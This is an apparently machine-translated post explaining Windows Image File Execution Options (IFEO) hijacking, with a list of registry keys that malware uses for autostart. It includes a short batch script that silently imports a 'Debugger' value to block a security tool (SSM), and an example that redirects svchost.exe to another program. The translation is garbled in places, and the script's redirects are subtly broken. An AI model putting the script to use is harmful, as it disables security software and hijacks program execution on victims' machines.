Windows Image hijacking Technology (ifeo)

Quote:

Basic symptoms: A friend may have encountered such a situation, a normal program, no matter where he is put or the program repaired with the installation disk, it is impossible to run or, for example, to run a, but it becomes a program to execute B, but it can run normally after being renamed ..

Since we are introducing the ifeo technology, let's introduce it first:

1. What is image persistence (ifeo )?

The so-called ifeo is the image file execution options

In the Registry
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution options

This item is mainly used for program debugging and is of little significance to general users. By default, only the Administrator and local system have the permission to read and write modifications.

First, let's take a look at how to modify the registry, such as regular viruses ..

The well-known and over-used registry key values such as viruses, worms, and Trojans are as follows:
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run
HKLM \ Software \ Microsoft \ Windows NT \ CurrentVersion \ windows \ appinit_dlls
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ y
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ runonce
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ runservicesonce
...............

Ii. Usage Details:

@ Echo off // close command echo
Echo this batch processing is only a tip. Do not use it for illegal activities! // Display the echo text
Pause // stop
Echo Windows Registry Editor Version 5.00> SSM. Reg
Echo [HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution options \ syssafe. EXE]> SSM. Reg
Echo "Debugger" = "syssafe. EXE"> SSM. Reg // export the echo text to SSM. Reg.
Regedit/s SSM. Reg & del/q ssm. Reg // import SSM. Reg and delete it

Disabling SSM HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution options \ svchost.exe "Debugger" = "abc.exe" means that svchost.exeis not executed and abc.exe is executed

This method can be used to redirect the execution of the EXE file with a specific name.